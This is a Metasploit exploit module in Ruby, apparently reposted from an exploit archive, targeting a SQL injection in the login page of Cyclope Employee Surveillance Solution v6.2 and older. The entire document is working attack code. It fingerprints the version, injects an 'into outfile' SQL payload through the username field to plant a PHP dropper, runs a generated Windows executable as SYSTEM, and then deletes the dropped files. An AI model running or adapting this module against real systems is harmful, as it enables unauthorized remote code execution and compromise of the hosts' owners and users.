Cyclope Employee Surveillance Solution v6 SQL Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Cyclope Employee Surveillance Solution v6 SQL Injection",
            'Description'    => %q{
                This module exploits a SQL injection found in Cyclope Employee Surveillance
                Solution.  Because the login script does not properly handle the user-supplied
                username parameter, a malicious user can manipulate the SQL query, and allows
                arbitrary code execution under the context of 'SYSTEM'.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'loneferret', #Original discovery, PoC
                    'sinn3r'      #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '84517'],
                    ['EDB', '20393']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['Cyclope Employee Surveillance Solution v6.2 or older', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Aug 8 2012",
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptPort.new('RPORT',     [true, "The web application's port", 7879]),
                    OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
                ], self.class)
    end
 
    def check
        peer = "#{rhost}:#{rport}"
        path = File.dirname("#{target_uri.path}/.")
        b64_version = get_version(path)
        if b64_version.empty?
            print_error("#{peer} - Unable to determine the version number")
        else
            b64_version = Rex::Text.decode_base64(b64_version)
            if b64_version =~ /^[0-6]\.1/
                return Exploit::CheckCode::Vulnerable
            else
                return Exploit::CheckCode::Safe
            end
        end
 
        return Exploit::CheckCode::Unknown
    end
 
 
    def get_version(path)
        res = send_request_raw({'uri'=> "#{path}index.php"})
        return '' if not res
 
        v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]
        return '' if not v
 
        return v
    end
 
 
    def on_new_session(cli)
        if cli.type != 'meterpreter'
            print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
            return
        end
 
        cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
 
        begin
            print_status("Deleting #{@php_fname}")
            cli.fs.file.rm(@php_fname)
        rescue ::Exception => e
            print_error("Please note: #{@php_fname} is stil on disk.")
        end
 
        begin
            print_status("Deleting #{@exe_fname}")
            cli.fs.file.rm(@exe_fname)
        rescue ::Exception => e
            print_error("Please note: #{@exe_fname} is still on disk.")
        end
    end
 
 
    def get_php_payload(fname)
        p = Rex::Text.encode_base64(generate_payload_exe)
        php = %Q|
        <?php
        $f = fopen("#{fname}", "wb");
        fwrite($f, base64_decode("#{p}"));
        fclose($f);
        exec("#{fname}");
        ?>
        |
        php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
        return php
    end
 
 
    def exploit
        peer = "#{rhost}:#{rport}"
        path = File.dirname("#{target_uri.path}/.")
 
        #
        # Need to fingerprint the version number in Base64 for the payload path
        #
        b64_version = get_version(path)
        if b64_version.empty?
            print_error("#{peer} - Unable to determine the version number")
            return
        end
 
        print_status("#{peer} - Obtained version: #{Rex::Text.decode_base64(b64_version)}")
 
        #
        # Prepare our payload (naughty exe embedded in php)
        #
        @exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
        @php_fname = Rex::Text.rand_text_alpha(6) + '.php'
        php = get_php_payload(@exe_fname).unpack("H*")[0]
        sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"
 
        #
        # Inject payload
        #
        print_status("#{peer} - Injecting PHP payload...")
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => path,
            'vars_post' => {
                'act' => 'auth-login',
                'pag' => 'login',
                'username' => sqli,
                'password' => Rex::Text.rand_text_alpha(5)
            }
        })
 
        #
        # Load our payload
        #
        print_status("#{peer} - Loading payload: #{path}#{b64_version}/#{@php_fname}")
        send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"})
        if res and res.code == 404
            print_error("#{peer} - Server returned 404, the upload attempt probably failed.")
            return
        end
 
        handler
    end
 
end



#  0day.today [2018-03-20]  #